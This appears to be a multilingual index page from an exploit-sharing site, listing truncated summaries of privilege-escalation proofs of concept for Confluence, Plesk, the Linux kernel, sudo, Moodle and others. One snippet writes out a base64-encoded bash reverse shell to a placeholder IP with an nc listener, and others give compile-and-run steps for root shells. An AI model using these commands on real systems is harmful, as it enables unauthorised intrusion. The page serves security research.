CVE-2023-22515

1vere$k CVE-2023-22515 iveresk-CVE-2023-22515 Il 4 ottobre 2023, Atlassian ha pubblicato un advisory per CVE-2023-22515, una vulnerabilità critica che interessa le istanze on-premises di Confluence Server e Confluence Data Center. Atlassian ha inizialmente descritto questa vulnerabilità come...

CVE-2026-65646

Improper neutralization of special elements in Plesk allows remote authenticated users to disclose arbitrary local files and escalate privileges...

CVE-2026-65646

Improper neutralization of special elements in Plesk allows remote authenticated users to disclose arbitrary local files and escalate privileges...

CVE-2026-65646

CVE-2026-65646 is an improper neutralization of special elements vulnerability in Plesk 's DNS zone management functionality , allowing remote authenticated users to disclose arbitrary local files and escalate privileges. The CVSS 4.0 base score is 8.7 (HIGH) , with low privileges required, no us...

CVE-2021-21425

CVE-2021-21425 Quelle: https://www.exploit-db.com/exploits/49973 1 Ziel-IP ändern 2 Payload ändern echo -ne "bash -i & /dev/tcp/OUR-IP/80 0&1" | base64 -w0 3 sudo nc -lvnp 80 4 python3 exploit.py...

autobloody

autobloody autobloody è uno strumento per sfruttare automaticamente i percorsi di escalation dei privilegi di Active Directory mostrati da BloodHound. Descrizione Questo strumento automatizza l'escalation dei privilegi AD tra due oggetti AD: la sorgente quella che possediamo e il target quella ch...

CVE-2026-55228

Weblate is a web-based continuous localization platform used to manage software translations. In versions prior to 2026.7, the REST API did not properly enforce the scope of project- and workspace-scoped teams, allowing a user to submit invalid team configurations through the API. By assigning...

CVE-2011-1249

CVE-2011-1249 🖥️ -h3x0v3rl0rd- Microsoft Windows x86 - 'afd.sys' تصعيد الامتيازات المحلي MS11-046 root@kitploit: apt install mingw-w64 i686-w64-mingw32-gcc 40564.c -o newshell.exe -lws232...

CVE-2025-32463_sudo_chroot

CVE-2025-32463 - sudo chroot Utilizzo Il Dockerfile crea un ambiente di test sicuro e isolato con una versione vulnerabile di sudo 1.9.16p2 installata. Questo ti consente di testare l'exploit senza influenzare il tuo sistema host. root@kitploit: Build the vulnerable test environment docker build ...

CVE-2024-37726-MSI-Center-Local-Privilege-Escalation

CVE-2024-37726 MSI Center Escalação de Privilégio Local - Vulnerabilidade de Sobrescrita Arbitrária de Arquivos Resumo da Vulnerabilidade Uma vulnerabilidade de escalação de privilégio local no sistema operacional Windows foi identificada nas versões = 2.0.36.0 do MSI Center, que permite a um...

cve-2022-49186-research

CVE-2022-49186: Ricerca sull'Elevazione dei Privilegi nel Kernel Linux Panoramica Ricerca sulla sicurezza e proof-of-concept exploit per CVE-2022-49186, una vulnerabilità del kernel Linux nel driver dell'orologio Visconti che consente l'elevazione locale dei privilegi tramite overflow di array...

POC-CVE-2024-38820

CVE-2024-38820 Prova di concetto Panoramica Questo progetto dimostra CVE-2024-38820 , una vulnerabilità nel DataBinder di Spring Framework che consente di aggirare la protezione disallowedFields a causa di problemi di conversione di maiuscole/minuscole dipendenti dalla locale. Dettagli della...

CVE-2023-22515

CVE-2023-22515: Rapporto sull'analisi della vulnerabilità di elevazione dei privilegi in Confluence Data Center & Server 1. Panoramica Overview CVE-2023-22515 è una vulnerabilità critica di Broken Access Control rilevata nei prodotti Atlassian Confluence Data Center e Server. Un attaccante, senza...

CVE-2022-0847-Linux

CVE-2022-0847 विवरण - CVE-2022-0847 के लिए POC: Linux Kernel स्थानीय विशेषाधिकार वृद्धि भेद्यता। - antx द्वारा 2022-03-08 को निर्मित। विस्तार - सुरक्षा शोधकर्ता Max Kellermann ने 'Dirty Pipe' भेद्यता का जिम्मेदारीपूर्वक खुलासा किया और बताया कि यह Linux Kernel 5.8 और उसके बाद के संस्करणों को...

CVE-2023-1829

CVE-2023-1829 यह शोषण Ubuntu22.04 के आधिकारिक स्रोत कोड 5.15.0-25.25 पर परीक्षण किया गया है। कुछ netlink फ़िल्टर फ़ंक्शंस के लिए निर्भरताएँ स्थापित करना root@kitploit: sudo apt install libnftnl-dev libmnl-dev बिल्ड करने का चरण: root@kitploit: make संदर्भ...

CVE-2022-0847

CVE-2022-0847 Fonte original https://dirtypipe.cm4all.com/ Uso gcc exploit.cpp -o exploit ./exploit Isso abrirá um shell root Descrição da vulnerabilidade Esta é a CVE-2022-0847, uma vulnerabilidade no kernel Linux desde a versão 5.8, que permite sobrescrever dados em arquivos arbitrários somente...

CVE-2018-17182

CVE-2018-17182 Vulnerabilidade de escalonamento de privilégios VMA-UAF no kernel Linux CVE-2018-17182 Sobre Pesquisadores de segurança cibernética do Google Project Zero publicaram informações detalhadas e um exploit de prova de conceito PoC para uma vulnerabilidade de alta gravidade presente no...

CVE-2020-14321

Script Python per sfruttare CVE-2020-14321 - Moodle 3.9 Le iscrizioni ai corsi consentivano l'escalation dei privilegi dal ruolo di insegnante al ruolo di manager fino alla RCE. Gli insegnanti di un corso potevano assegnarsi il ruolo di manager all'interno di quel corso. Payload estratto da:...

CVE-2025-61229

CVE-2025-61229 Descrição Do blog do desenvolvedor: Scripts shell Before/After definíveis pelo usuário são executados com privilégios elevados, com as permissões de Full Disk Access Acesso Total ao Disco do TCC do SuperDuper. Como esses scripts shell são referenciados pelos arquivos de configuraçõ...

CVE-2023-1326

CVE-2023-1326 إثبات مفهوم لـ CVE-2023–1326 في apport-cli 2.26.0 هذه الثغرة هي تصعيد صلاحيات في apport-cli 2.26.0، وهي مشابهة لـ CVE-2023–26604، وتعمل هذه الثغرة فقط إذا تم تعيينها في sudoers: تم العثور على هجوم تصعيد صلاحيات في apport-cli 2.26.0 والإصدارات السابقة وهو مشابه لـ CVE-2023-26604. إذا...